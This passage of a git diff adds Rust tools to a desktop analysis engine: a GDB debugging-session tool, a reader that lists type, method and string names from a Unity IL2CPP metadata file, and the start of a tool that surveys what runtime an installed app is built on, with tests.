JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct StartParams { + /// Absolute path of the program to load; omit for an empty session. + #[serde(default)] + pub program: Option, + /// Absolute path of a core dump to open with the program. + #[serde(default)] + pub core: Option, + /// Arguments the program gets when it is run. + #[serde(default)] + pub args: Vec, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ConsoleParams { + pub session_id: String, + /// One GDB command line. + pub command: String, + /// Seconds to wait for the command (and a started run) to finish: 1–300, default 10. + #[serde(default = "d_timeout")] + pub timeout_seconds: u64, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct StatusParams { + #[serde(default)] + pub session_id: Option, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SessionIdParams { + pub session_id: String, +} + +struct GdbStore(Mutex>); + +fn store(ctx: &mut Ctx<'_>) -> Arc { + if let Some(s) = ctx.session.ext.get::() { + return s; + } + let s = Arc::new(GdbStore(Mutex::new(HashMap::new()))); + ctx.session.ext.insert(s.clone()); + s +} + +static COUNTER: AtomicU64 = AtomicU64::new(0); + +fn new_id() -> String { + let n = COUNTER.fetch_add(1, Ordering::Relaxed); + let nanos = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).map(|d| d.as_nanos()).unwrap_or(0); + let h = sha256_hex(format!("gdb:{}:{nanos}:{n}", std::process::id()).as_bytes()); + format!("gdb_{}", h.get(..24).unwrap_or(&h)) +} + +fn unknown_session() -> ToolError { + ToolError::new(ErrorCode::BadInput, "no GDB session with that id") + .with_remediation("List sessions with native_gdb_session_show, or start one with native_gdb_session_begin.") +} + +fn abs_file(p: &str, what: &str) -> Result { + let pb = PathBuf::from(p); + if !pb.is_absolute() { + return Err(ToolError::invalid(format!("{what} {p:?} is not an absolute path"))); + } + if !pb.is_file() { + return Err(ToolError::invalid(format!("{what} {p} is not a file"))); + } + Ok(pb) +} + +fn locate_gdb(ctx: &Ctx<'_>) -> Result { + let s = &ctx.session.settings; + craft_anything_engines::locate("gdb", &s.engines.tools, &s.engine_store_dir()) + .ok_or_else(|| ToolError::unavailable("GDB is not installed.").with_remediation("Install GDB and set its path in Settings → Engines.")) +} + +/// The session's status with its id. +fn status_json(id: &str, s: &mut GdbSession) -> Value { + let mut v = s.status(); + if let Value::Object(m) = &mut v { + m.insert("session_id".into(), Value::String(id.to_string())); + } + v +} + +// --------------------------------------------------------------------------------------------- +// Tools + +fn native_gdb_session_begin(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: StartParams = parse_params(params)?; + let program = p.program.as_deref().map(|x| abs_file(x, "program")).transpose()?; + let core = p.core.as_deref().map(|x| abs_file(x, "core")).transpose()?; + if core.is_some() && program.is_none() { + return Err(ToolError::invalid("a core file needs the program it came from")); + } + if p.args.len() > 256 || p.args.iter().any(|a| a.contains(['\n', '\r', '\0'])) { + return Err(ToolError::invalid("args must be at most 256 single-line strings")); + } + let st = store(ctx); + let mut guard = st.0.lock().unwrap_or_else(PoisonError::into_inner); + guard.retain(|_, s| !s.is_finished()); + if guard.len() >= MAX_SESSIONS { + return Err(ToolError::new(ErrorCode::OverLimit, format!("{MAX_SESSIONS} GDB sessions are already open")) + .with_remediation("Close one with native_gdb_session_end.")); + } + let gdb = locate_gdb(ctx)?; + ctx.report(None, "Starting GDB"); + let mut s = GdbSession::start(&gdb, program.as_ref(), core.as_ref(), &p.args)?; + // A harmless command proves GDB is up and flushes its start-up messages. + let cancel = ctx.cancel.clone(); + let (c, timed_out) = s.exec("-gdb-version", Duration::from_secs(60), &|| cancel.is_cancelled())?; + if timed_out || s.is_finished() { + s.kill(); + return Err(ToolError::new(ErrorCode::ProgramFailed, "GDB did not start answering within 60 seconds") + .with_details(json!({"log": c.log, "output": c.target_output}))); + } + let id = new_id(); + // Start-up messages ("Reading symbols…") come before the version banner. + let version = c.console.lines().find(|l| l.starts_with("GNU gdb")).unwrap_or("").to_string(); + let startup: String = c.console.lines().take_while(|l| !l.starts_with("GNU gdb")).map(|l| format!("{l}\n")).collect(); + let mut out = status_json(&id, &mut s); + if let Value::Object(m) = &mut out { + m.insert("gdb_version".into(), Value::String(version)); + m.insert("messages".into(), Value::String(format!("{startup}{}{}", c.log, c.target_output))); + m.insert("continue_with".into(), Value::String("native_gdb_command_run".into())); + } + guard.insert(id, s); + Ok(ToolOutput::Value(out)) +} + +fn native_gdb_command_run(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ConsoleParams = parse_params(params)?; + let cmd = p.command.trim(); + if cmd.is_empty() || cmd.len() > 4096 || cmd.contains(['\n', '\r', '\0']) { + return Err(ToolError::invalid("command must be one line of 1–4096 characters")); + } + let timeout = Duration::from_secs(p.timeout_seconds.clamp(1, 300)); + let st = store(ctx); + let mut guard = st.0.lock().unwrap_or_else(PoisonError::into_inner); + let s = guard.get_mut(&p.session_id).ok_or_else(unknown_session)?; + ctx.report(None, format!("gdb: {cmd}")); + let cancel = ctx.cancel.clone(); + let (c, timed_out) = s.console(cmd, timeout, &|| cancel.is_cancelled())?; + let status = status_json(&p.session_id, s); + let mut lims = + vec![Limitation::new("live_session", "Output reflects this moment in a live debugging session; running the program again can give different results.")]; + if timed_out { + lims.push(Limitation::new( + "timed_out", + "The command had not finished when the wait ended; the program may still be running. Check with native_gdb_session_show, or send `interrupt`.", + )); + } + if c.truncated { + lims.push(Limitation::new("output_capped", "More than 1 MiB of text arrived; the rest was dropped.")); + } + let subject = + Subject { kind: "process".into(), sha256: None, name: s.program.as_ref().and_then(|p| p.file_name()).map(|n| n.to_string_lossy().into_owned()) }; + let e = EvidenceBuilder::new("native_gdb_command_run", subject, Environment::builtin(ctx.session.clean_room())) + .params(json!({"session_id": p.session_id, "command": cmd, "timeout_seconds": timeout.as_secs()})) + .result(json!({ + "command": cmd, + "timed_out": timed_out, + "result": c.result, + "error": c.error, + "console": c.console, + "log": c.log, + "target_output": c.target_output, + "events": c.events, + "status": status, + })) + .summary(format!( + "gdb `{cmd}`: {} line(s) of output, program {}{}.", + c.console.lines().count(), + status.get("state").and_then(Value::as_str).unwrap_or("unknown"), + if timed_out { " (still waiting)" } else { "" } + )) + .confidence(Confidence::Observed) + .authority(Authority::OurRun) + .limitations(lims) + .coverage(Coverage::complete(1)) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_gdb_session_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: StatusParams = parse_params(params)?; + let st = store(ctx); + let mut guard = st.0.lock().unwrap_or_else(PoisonError::into_inner); + match &p.session_id { + Some(id) => { + let s = guard.get_mut(id).ok_or_else(unknown_session)?; + let (c, dropped) = s.take_output(); + let mut v = status_json(id, s); + if let Value::Object(m) = &mut v { + m.insert("new_output".into(), json!({"console": c.console, "log": c.log, "target_output": c.target_output, "events": c.events})); + m.insert("dropped_lines".into(), json!(dropped)); + } + Ok(ToolOutput::Value(v)) + } + None => { + let list: Vec = guard.iter_mut().map(|(id, s)| status_json(id, s)).collect(); + Ok(ToolOutput::Value(json!({"sessions": list, "count": list.len()}))) + } + } +} + +fn native_gdb_session_end(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SessionIdParams = parse_params(params)?; + let st = store(ctx); + let s = st.0.lock().unwrap_or_else(PoisonError::into_inner).remove(&p.session_id).ok_or_else(unknown_session)?; + let graceful = s.close(); + Ok(ToolOutput::Value(json!({"session_id": p.session_id, "closed": true, "graceful_exit": graceful}))) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::{CallOptions, Caller, Consent, Engine}; + + #[test] + fn console_needs_consent_and_a_session() { + let e = Engine::new(crate::testing::session()); + let err = e.call("native_gdb_command_run", json!({"session_id": "nope", "command": "info files"}), CallOptions::new(Caller::Mcp)).err(); + assert!(err.is_some()); + let st = e.call("native_gdb_session_show", json!({}), CallOptions::new(Caller::Mcp)); + assert!(matches!(st, Ok(ToolOutput::Value(v)) if v["count"] == 0)); + assert!(e.call("native_gdb_session_end", json!({"session_id": "nope"}), CallOptions::new(Caller::Mcp)).is_err()); + } + + /// A real round trip when GDB is installed: load a program, query it, never run it. + #[test] + fn live_session_when_gdb_is_installed() { + let e = Engine::new(crate::testing::session()); + let p = craft_anything_testkit::temp_file("dbg.elf", &craft_anything_testkit::elf64(craft_anything_testkit::ElfArch::X86_64, true).0); + let Ok(ToolOutput::Value(v)) = e.call("native_gdb_session_begin", json!({"program": p}), CallOptions::new(Caller::Mcp)) else { + return; // GDB not installed here + }; + let id = v["session_id"].as_str().unwrap().to_string(); + assert_eq!(v["state"], "not_started"); + let mut opts = CallOptions::new(Caller::Mcp); + opts.consent = Consent::Granted; + let out = e.call("native_gdb_command_run", json!({"session_id": id, "command": "info functions main"}), opts).unwrap(); + let ToolOutput::Evidence(ev) = out else { panic!("expected evidence") }; + let r = serde_json::to_value(&*ev).unwrap(); + assert_eq!(r["result"]["timed_out"], false, "{r}"); + assert_eq!(r["result"]["result"], "done", "{r}"); + let mut opts = CallOptions::new(Caller::Mcp); + opts.consent = Consent::Granted; + let out = e.call("native_gdb_command_run", json!({"session_id": id, "command": "definitely-not-a-command"}), opts).unwrap(); + let ToolOutput::Evidence(ev) = out else { panic!("expected evidence") }; + let r = serde_json::to_value(&*ev).unwrap(); + assert_eq!(r["result"]["result"], "error", "{r}"); + assert!(r["result"]["error"].as_str().unwrap().contains("Undefined command"), "{r}"); + let Ok(ToolOutput::Value(c)) = e.call("native_gdb_session_end", json!({"session_id": id}), CallOptions::new(Caller::Mcp)) else { + panic!("close failed") + }; + assert_eq!(c["closed"], true); + } +} diff --git a/desktop/crates/engine/src/tools/il2cpp_tools.rs b/desktop/crates/engine/src/tools/il2cpp_tools.rs new file mode 100644 index 0000000..21b32d0 --- /dev/null +++ b/desktop/crates/engine/src/tools/il2cpp_tools.rs @@ -0,0 +1,461 @@ +//! A Unity IL2CPP game's `global-metadata.dat`: the assembly, type and method names and string +//! literals its C# had before it was compiled to native code. Only this file is read; nothing runs. + +use super::native_common::{DEFAULT_LIMIT, MAX_LIMIT, params_json, spec}; +use super::static_input::{builder, load_path}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Authority, Confidence, Coverage, ErrorCode, Limitation, Location, ToolError}; +use craft_anything_formats::entropy; +use craft_anything_formats::il2cpp::{self, Metadata, Reading}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::VecDeque; +use std::path::{Path, PathBuf}; + +const FILE_NAME: &str = "global-metadata.dat"; +/// Largest metadata file read (the largest games' are a few hundred MiB at most). +const MAX_FILE: u64 = 2 << 30; +/// How deep and how many entries are looked at when finding the file in a game's folder. +const MAX_DEPTH: usize = 8; +const MAX_ENTRIES: usize = 50_000; +/// How much of one string literal a row shows. +const MAX_LITERAL: usize = 4096; +/// How many rows are checked between looks at the cancel button. +const CANCEL_EVERY: usize = 4096; + +pub fn specs() -> Vec { + vec![spec( + "game_unity_code_names_show", + "Read a Unity game's IL2CPP metadata", + "Read a Unity IL2CPP global-metadata.dat (path: the file, or a game's folder, where it's found under *_Data/il2cpp_data/Metadata or Data/il2cpp_data/Metadata): the metadata version, its assemblies (images) and how many types, methods, fields and string literals it names. view picks a list to page: images, types (namespace, name, assembly, method and field counts), methods (name, declaring type, parameter count) or strings (the string literals, each shown up to 4096 bytes); contains keeps rows holding that text (any case). Versions 24 (its later 264-byte-header form), 27, 29 and 31 are read, each only after the file proves it fits; other versions give their header and say so. Many games change or encrypt this file: that's stated plainly and nothing is decrypted or guessed. Only names are here, with no code or addresses.", + "See the names of the code inside a Unity game built with IL2CPP, even though the code itself is compiled.", + Toolset::Formats, + Effects::EVIDENCE | Effects::CARRIES_TARGET_CONTENT, + Requires::Nothing, + schema_of::, + game_unity_code_names_show, + )] +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum View { + /// Counts and the first page of images. + #[default] + Summary, + Images, + Types, + Methods, + Strings, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct MetadataParams { + /// Absolute path of global-metadata.dat, or of a game's folder to find it in. + pub path: String, + /// What to list: summary (the default), images, types, methods or strings. + #[serde(default)] + pub view: View, + /// Keep only rows holding this text (any case). + #[serde(default)] + pub contains: Option, + /// First matching row of the page. + #[serde(default)] + pub offset: usize, + /// Rows per page. + #[serde(default = "default_limit")] + pub limit: usize, +} + +fn default_limit() -> usize { + DEFAULT_LIMIT +} + +/// The metadata file for `raw`: itself, or the nearest one under a folder, with any others found. +fn locate(raw: &str) -> Result<(PathBuf, Vec), ToolError> { + let path = PathBuf::from(raw); + if !path.is_absolute() { + return Err( + ToolError::invalid(format!("{raw:?} is not an absolute path")).with_remediation("Pass the full path of global-metadata.dat or the game's folder.") + ); + } + if !path.is_dir() { + return Ok((path, Vec::new())); + } + let found = find_in(&path); + let mut found = found.into_iter(); + let first = found.next().ok_or_else(|| { + ToolError::new(ErrorCode::NotFound, format!("There's no {FILE_NAME} under {raw}.")) + .with_remediation("A Unity game built with IL2CPP keeps it in _Data/il2cpp_data/Metadata. A game built with Mono has its code in Managed/ instead: try managed_assembly_show on Assembly-CSharp.dll.") + })?; + Ok((first, found.map(|p| p.display().to_string()).collect())) +} + +/// Every metadata file under `root`, nearest first. Bounded, and symbolic links aren't followed. +fn find_in(root: &Path) -> Vec { + let mut found = Vec::new(); + let (mut seen, mut queue) = (0usize, VecDeque::from([(root.to_path_buf(), 0usize)])); + while let Some((dir, depth)) = queue.pop_front() { + for entry in std::fs::read_dir(&dir).into_iter().flatten().flatten() { + seen += 1; + if seen > MAX_ENTRIES { + return found; + } + let Ok(kind) = entry.file_type() else { continue }; + if kind.is_dir() && depth < MAX_DEPTH { + queue.push_back((entry.path(), depth + 1)); + } else if kind.is_file() && entry.file_name().to_string_lossy().eq_ignore_ascii_case(FILE_NAME) { + found.push(entry.path()); + } + } + } + found +} + +/// The rows of one view that hold the filter, as a page, and how many matched. +fn rows( + ctx: &Ctx<'_>, + total: usize, + row: impl Fn(usize) -> Option, + text: impl Fn(&T) -> String, + p: &MetadataParams, +) -> Result<(Vec, usize), ToolError> { + let needle = p.contains.as_deref().map(str::to_lowercase).filter(|c| !c.is_empty()); + let limit = p.limit.clamp(1, MAX_LIMIT); + let as_json = |item: &T| serde_json::to_value(item).unwrap_or(Value::Null); + // Without a filter every row matches, so only the page's rows are read. + let Some(needle) = needle else { + let page = (p.offset..total).take(limit).filter_map(&row).map(|item| as_json(&item)).collect(); + return Ok((page, total)); + }; + let (mut page, mut matching) = (Vec::new(), 0usize); + for i in 0..total { + if i.is_multiple_of(CANCEL_EVERY) { + ctx.cancel.check()?; + } + let Some(item) = row(i) else { continue }; + if !text(&item).to_lowercase().contains(&needle) { + continue; + } + if matching >= p.offset && page.len() < limit { + page.push(as_json(&item)); + } + matching += 1; + } + Ok((page, matching)) +} + +/// One view's page of rows and how many matched. +fn view_rows(ctx: &Ctx<'_>, m: &Metadata<'_>, p: &MetadataParams) -> Result<(Vec, usize), ToolError> { + match p.view { + View::Summary | View::Images => rows(ctx, m.image_count(), |i| m.image(i), |im| im.name.clone(), p), + View::Types => rows( + ctx, + m.type_count(), + |i| { + m.type_def(i).map(|t| { + json!({ + "index": t.index, + "full_name": t.full_name(), + "namespace": t.namespace, + "name": t.name, + "image": m.image_of(i).map(|im| im.name), + "method_count": t.method_count, + "first_method": (t.method_count > 0).then_some(t.method_start), + "field_count": t.field_count, + "flags": t.flags, + "token": t.token, + }) + }) + }, + |v| v["full_name"].as_str().unwrap_or_default().to_string(), + p, + ), + View::Methods => rows( + ctx, + m.method_count(), + |i| { + m.method(i).map(|method| { + let owner = usize::try_from(method.type_index).ok().and_then(|t| m.type_def(t)).map(|t| t.full_name()); + json!({ + "index": method.index, + "name": method.name, + "type": owner, + "type_index": method.type_index, + "parameter_count": method.parameter_count, + "flags": method.flags, + "token": method.token, + }) + }) + }, + |v| format!("{} {}", v["type"].as_str().unwrap_or_default(), v["name"].as_str().unwrap_or_default()), + p, + ), + View::Strings => rows(ctx, m.literal_count(), |i| m.literal(i, MAX_LITERAL), |l| l.text.clone(), p), + } +} + +fn game_unity_code_names_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: MetadataParams = parse_params(params)?; + let (path, others) = locate(&p.path)?; + let input = load_path(&path.display().to_string(), MAX_FILE)?; + ctx.report(None, format!("Reading {}", input.name)); + let mut lims = Vec::new(); + if !others.is_empty() { + lims.push(Limitation::new( + "several_found", + format!("This folder holds {} more of these files; this result is about the nearest one. Pass the file to read another.", others.len()), + )); + } + let size = input.bytes.len(); + let known = il2cpp::known_versions(); + let (result, summary, confidence, coverage) = match il2cpp::read(&input.bytes) { + Reading::Altered { first_bytes, why } => { + lims.push(Limitation::new( + "altered_or_encrypted", + format!("{} doesn't start like Unity's IL2CPP metadata ({why}). The game changed or encrypted it, or it's another kind of file, so none of its contents were read. Nothing is decrypted or guessed.", input.name), + )); + let sample = input.bytes.get(..size.min(1 << 16)).unwrap_or_default(); + let result = json!({ + "path": input.path, + "reading": "altered", + "size": size, + "first_bytes": first_bytes.iter().map(|b| format!("{b:02x}")).collect::(), + "entropy": entropy(sample), + }); + let summary = format!( + "{}: this isn't readable IL2CPP metadata as it stands: {why}. It has been changed or encrypted, or it's another kind of file.", + input.name + ); + (result, summary, Confidence::Inferred, Coverage::complete(0)) + } + Reading::HeaderOnly { version, sections, why } => { + lims.push(Limitation::new( + "header_only", + format!("Only the header was read: {why}. The versions read here are {known:?}. Reading further would mean guessing where things are, so it isn't done."), + )); + let result = json!({"path": input.path, "reading": "header_only", "size": size, "metadata_version": version, "versions_read": known, "why": why, "sections": sections}); + let shown = version.map_or("an unreadable version".to_string(), |v| format!("metadata version {v}")); + let summary = format!("{}: IL2CPP metadata, {shown}. Its contents weren't read: {why}.", input.name); + (result, summary, Confidence::Inferred, Coverage::complete(0)) + } + Reading::Readable(m) => { + lims.push(Limitation::new( + "names_only", + "This file holds names, not code: which native address each method has is in the game's GameAssembly or libil2cpp program.", + )); + let (page, matching) = view_rows(ctx, &m, &p)?; + let counts = json!({ + "images": m.image_count(), + "types": m.type_count(), + "methods": m.method_count(), + "fields": m.field_count(), + "string_literals": m.literal_count(), + }); + let list = match p.view { + View::Summary | View::Images => "images", + View::Types => "types", + View::Methods => "methods", + View::Strings => "strings", + }; + let mut result = json!({ + "path": input.path, + "reading": "complete", + "size": size, + "metadata_version": m.version(), + "counts": counts, + "view": p.view, + "matching": matching, + "offset": p.offset, + }); + result[list] = Value::Array(page.clone()); + let coverage = Coverage::page(page.len() as u64, matching as u64, p.offset as u64); + let summary = format!( + "{}: IL2CPP metadata version {}: {} assemblies, {} types, {} methods, {} string literals.", + input.name, + m.version(), + m.image_count(), + m.type_count(), + m.method_count(), + m.literal_count() + ); + (result, summary, Confidence::Observed, coverage) + } + }; + let ev = builder(ctx, "game_unity_code_names_show", input.subject.clone(), params_json(&p)) + .result(result) + .summary(summary) + .confidence(confidence) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(coverage) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + Ok(ToolOutput::Evidence(Box::new(ev))) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err}; + use crate::Engine; + use craft_anything_testkit::games::{Il2cppSample, il2cpp_metadata}; + use serde_json::{Value, json}; + use std::path::Path; + + fn engine() -> Engine { + Engine::new(crate::testing::session()) + } + + fn sample() -> Vec { + il2cpp_metadata(&Il2cppSample { version: 31, header_size: 256, type_size: 88, method_size: 36 }) + } + + fn write(dir: &Path, rel: &str, bytes: &[u8]) -> String { + let p = dir.join(rel); + std::fs::create_dir_all(p.parent().unwrap()).unwrap(); + std::fs::write(&p, bytes).unwrap(); + p.display().to_string() + } + + #[test] + fn the_summary_gives_counts_and_images() { + let dir = tempfile::tempdir().unwrap(); + let path = write(dir.path(), "global-metadata.dat", &sample()); + let v = call(&engine(), "game_unity_code_names_show", json!({"path": path})); + let r = &v["result"]; + assert_eq!(r["metadata_version"], 31); + assert_eq!(r["counts"], json!({"images": 2, "types": 3, "methods": 4, "fields": 7, "string_literals": 3})); + assert_eq!(r["images"][1]["name"], "Assembly-CSharp.dll"); + assert_eq!(r["images"][1]["type_count"], 2); + assert!(v["summary"].as_str().unwrap().contains("2 assemblies, 3 types, 4 methods")); + assert_eq!(v["confidence"], "observed"); + } + + #[test] + fn views_filter_and_page() { + let dir = tempfile::tempdir().unwrap(); + let path = write(dir.path(), "global-metadata.dat", &sample()); + let e = engine(); + let types = call(&e, "game_unity_code_names_show", json!({"path": path, "view": "types", "contains": "GAME."})); + let names: Vec<&str> = types["result"]["types"].as_array().unwrap().iter().map(|t| t["full_name"].as_str().unwrap()).collect(); + assert_eq!(names, ["Game.Enemy", "Game.Player"]); + assert_eq!(types["result"]["types"][1]["image"], "Assembly-CSharp.dll"); + assert_eq!(types["result"]["types"][1]["first_method"], 1); + assert_eq!(types["result"]["matching"], 2); + + let methods = call(&e, "game_unity_code_names_show", json!({"path": path, "view": "methods", "contains": "player update"})); + assert_eq!(methods["result"]["methods"][0]["type"], "Game.Player"); + assert_eq!(methods["result"]["matching"], 1); + let by_type = call(&e, "game_unity_code_names_show", json!({"path": path, "view": "methods", "contains": "enemy"})); + assert_eq!(by_type["result"]["methods"][0]["name"], "Update"); + + let strings = call(&e, "game_unity_code_names_show", json!({"path": path, "view": "strings", "contains": "over"})); + assert_eq!(strings["result"]["strings"][0]["text"], "Game over"); + + // Pages without a filter. + let first = call(&e, "game_unity_code_names_show", json!({"path": path, "view": "methods", "limit": 3})); + assert_eq!(first["result"]["methods"].as_array().unwrap().len(), 3); + assert_eq!(first["result"]["matching"], 4); + assert_eq!(first["coverage"]["next_offset"], 3); + let rest = call(&e, "game_unity_code_names_show", json!({"path": path, "view": "methods", "offset": 3, "limit": 3})); + assert_eq!(rest["result"]["methods"][0]["name"], "TakeDamage"); + assert_eq!(rest["result"]["methods"].as_array().unwrap().len(), 1); + assert!(rest["coverage"]["next_offset"].is_null()); + let past = call(&e, "game_unity_code_names_show", json!({"path": path, "view": "methods", "offset": 99})); + assert_eq!(past["result"]["methods"], json!([])); + assert_eq!(past["result"]["matching"], 4); + // Pages with a filter. + let second = call(&e, "game_unity_code_names_show", json!({"path": path, "view": "types", "contains": "game", "offset": 1, "limit": 1})); + assert_eq!(second["result"]["types"][0]["name"], "Player"); + } + + #[test] + fn a_folder_is_searched() { + let dir = tempfile::tempdir().unwrap(); + write(dir.path(), "My Game_Data/il2cpp_data/Metadata/global-metadata.dat", &sample()); + write(dir.path(), "My Game_Data/unrelated.txt", b"x"); + let v = call(&engine(), "game_unity_code_names_show", json!({"path": dir.path()})); + assert_eq!(v["result"]["reading"], "complete"); + assert!(v["result"]["path"].as_str().unwrap().contains("il2cpp_data")); + } + + #[test] + fn a_folder_with_none_says_where_it_looks() { + let dir = tempfile::tempdir().unwrap(); + write(dir.path(), "readme.txt", b"x"); + let err = call_err(&engine(), "game_unity_code_names_show", json!({"path": dir.path()})); + assert!(err.message.contains("global-metadata.dat")); + assert!(err.remediation.unwrap().contains("il2cpp_data")); + } + + #[test] + fn altered_magic_is_a_plain_statement_not_an_error() { + let dir = tempfile::tempdir().unwrap(); + let mut bytes = sample(); + bytes[0] = 0x00; + let path = write(dir.path(), "global-metadata.dat", &bytes); + let v = call(&engine(), "game_unity_code_names_show", json!({"path": path})); + assert_eq!(v["result"]["reading"], "altered"); + assert_eq!(v["confidence"], "inferred"); + assert!(v["summary"].as_str().unwrap().contains("changed or encrypted")); + let limits: Vec<&str> = v["limitations"].as_array().unwrap().iter().map(|l| l["code"].as_str().unwrap()).collect(); + assert!(limits.contains(&"altered_or_encrypted"), "{limits:?}"); + } + + #[test] + fn an_unknown_version_gives_its_header_and_a_limitation() { + let dir = tempfile::tempdir().unwrap(); + let mut bytes = sample(); + bytes[4..8].copy_from_slice(&39i32.to_le_bytes()); + let path = write(dir.path(), "global-metadata.dat", &bytes); + let v = call(&engine(), "game_unity_code_names_show", json!({"path": path, "view": "types"})); + assert_eq!(v["result"]["reading"], "header_only"); + assert_eq!(v["result"]["metadata_version"], 39); + assert!(v["result"].get("types").is_none()); + assert_eq!(v["confidence"], "inferred"); + assert!(v["summary"].as_str().unwrap().contains("39")); + } + + #[test] + fn a_file_cut_short_never_fails_at_any_length() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("global-metadata.dat"); + let bytes = sample(); + let e = engine(); + for n in [0, 3, 4, 7, 8, 100, 255, 256, 300, bytes.len() - 1] { + std::fs::write(&path, &bytes[..n]).unwrap(); + let v: Value = call(&e, "game_unity_code_names_show", json!({"path": path})); + assert_ne!(v["result"]["reading"], "complete", "{n} bytes"); + } + } + + #[test] + fn a_missing_file_or_relative_path_is_an_error() { + let e = engine(); + assert!(call_err(&e, "game_unity_code_names_show", json!({"path": "relative/global-metadata.dat"})).message.contains("absolute")); + let dir = tempfile::tempdir().unwrap(); + call_err(&e, "game_unity_code_names_show", json!({"path": dir.path().join("nope.dat")})); + } + + #[test] + #[cfg(unix)] + fn symbolic_links_are_not_followed_when_searching() { + let (dir, outside) = (tempfile::tempdir().unwrap(), tempfile::tempdir().unwrap()); + write(outside.path(), "global-metadata.dat", &sample()); + std::os::unix::fs::symlink(outside.path(), dir.path().join("link")).unwrap(); + let err = call_err(&engine(), "game_unity_code_names_show", json!({"path": dir.path()})); + assert!(err.message.contains("no global-metadata.dat")); + } + + #[test] + fn clean_room_refuses_it() { + let mut s = crate::testing::session(); + s.settings.deep_mode = false; + let e = Engine::new(s); + let dir = tempfile::tempdir().unwrap(); + let path = write(dir.path(), "global-metadata.dat", &sample()); + assert!(e.call("game_unity_code_names_show", json!({"path": path}), crate::CallOptions::new(crate::Caller::Mcp)).is_err()); + } +} diff --git a/desktop/crates/engine/src/tools/install_tools.rs b/desktop/crates/engine/src/tools/install_tools.rs new file mode 100644 index 0000000..6b8f4b1 --- /dev/null +++ b/desktop/crates/engine/src/tools/install_tools.rs @@ -0,0 +1,1371 @@ +//! What an installed app of unknown make is built on, read from its folder: a bounded walk that +//! follows no links, runs nothing and writes nothing. It reads the ends of files a marker needs a +//! look at, and searches the start of a few main programs (Tauri leaves no file of its own). Each +//! runtime is one row of [`RUNTIMES`]; add one by adding a row. +//! +//! Games are recognised by the same code as `core_target_triage` +//! (`craft_anything_engines::game::detect_in`), over this tool's own no-links walk. + +use super::native_common::{params_json, spec}; +use super::static_input::{builder, partial}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_engines::game; +use craft_anything_evidence::{Authority, Confidence, Coverage, Limitation, Location, Subject, ToolError}; +use craft_anything_formats::{godot_pck, pe_is_managed, plist, unreal_iostore, unreal_pak}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, VecDeque}; +use std::fs::File; +use std::io::{Read, Seek, SeekFrom}; +use std::path::{Path, PathBuf}; + +const DEFAULT_ENTRIES: usize = 20_000; +const MAX_ENTRIES: usize = 200_000; +const DEFAULT_DEPTH: usize = 10; +const MAX_DEPTH: usize = 32; +/// Bytes read from each end of a file a marker asks to look inside. +const PROBE_READ: usize = 4096; +/// Files looked inside, at most, and bytes read in all (the text search reads more than a probe). +const MAX_PROBES: usize = 4000; +const MAX_PROBE_BYTES: u64 = 512 << 20; +/// How much of a program its text is searched in, and how many programs are searched. +const TEXT_WINDOW: u64 = 64 << 20; +const MAX_TEXT_SEARCHES: usize = 4; +/// A program this close to the top of the folder counts as a main program. +const MAIN_DEPTH: usize = 3; +/// A runtime whose nearest medium or strong evidence is deeper than this is carried along (a plug-in's +/// or a tool's own), not what the app itself is built on. +const LEAD_DEPTH: usize = 3; +/// Paths given for one marker, next steps in all, and how large a settings file may be to read for +/// an app's name. +const PATHS_SHOWN: usize = 5; +const MAX_NEXT_STEPS: usize = 12; +const MAX_PLIST: u64 = 1 << 20; +/// Folders of many small files whose insides say nothing more: they count as found, not walked. +const NOT_WALKED: [&str; 2] = ["node_modules", ".git"]; + +pub fn specs() -> Vec { + vec![spec( + "app_folder_explain", + "Work out what an installed app is built on", + "Survey an installed app's folder (absolute path; a macOS .app or its Contents, a Windows or Linux install folder) when you don't know what it is. Walks the folder within max_entries and max_depth, following no links, running nothing and writing nothing, and reads only the first and last 4 KiB of the files that need a look, plus a search of up to 64 MiB of up to 4 main programs for Tauri's own text, to name the runtimes it may be built on: Electron, Tauri, CEF, Qt, Flutter, .NET, Java, Python (with PyInstaller), Node, Unity, Unreal, Godot, other game engines, or plain native code. Each candidate has a strength and the files that support it, and next_steps says which tool to run on which file. These are inferences: a file being there doesn't prove the app runs it.", + "Point at an installed app and find out what it was made with, and what to look at next.", + Toolset::Formats, + Effects::EVIDENCE | Effects::CARRIES_TARGET_CONTENT, + Requires::Nothing, + schema_of::, + app_folder_explain, + )] +} + +fn default_entries() -> usize { + DEFAULT_ENTRIES +} + +fn default_depth() -> usize { + DEFAULT_DEPTH +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SurveyParams { + /// Absolute path of the installed app's folder. + pub path: String, + /// Most files and folders to look at (up to 200000). + #[serde(default = "default_entries")] + pub max_entries: usize, + /// How many folders deep to look (up to 32). + #[serde(default = "default_depth")] + pub max_depth: usize, +} + +// ---- the table --------------------------------------------------------------------------------- + +#[derive(Debug, 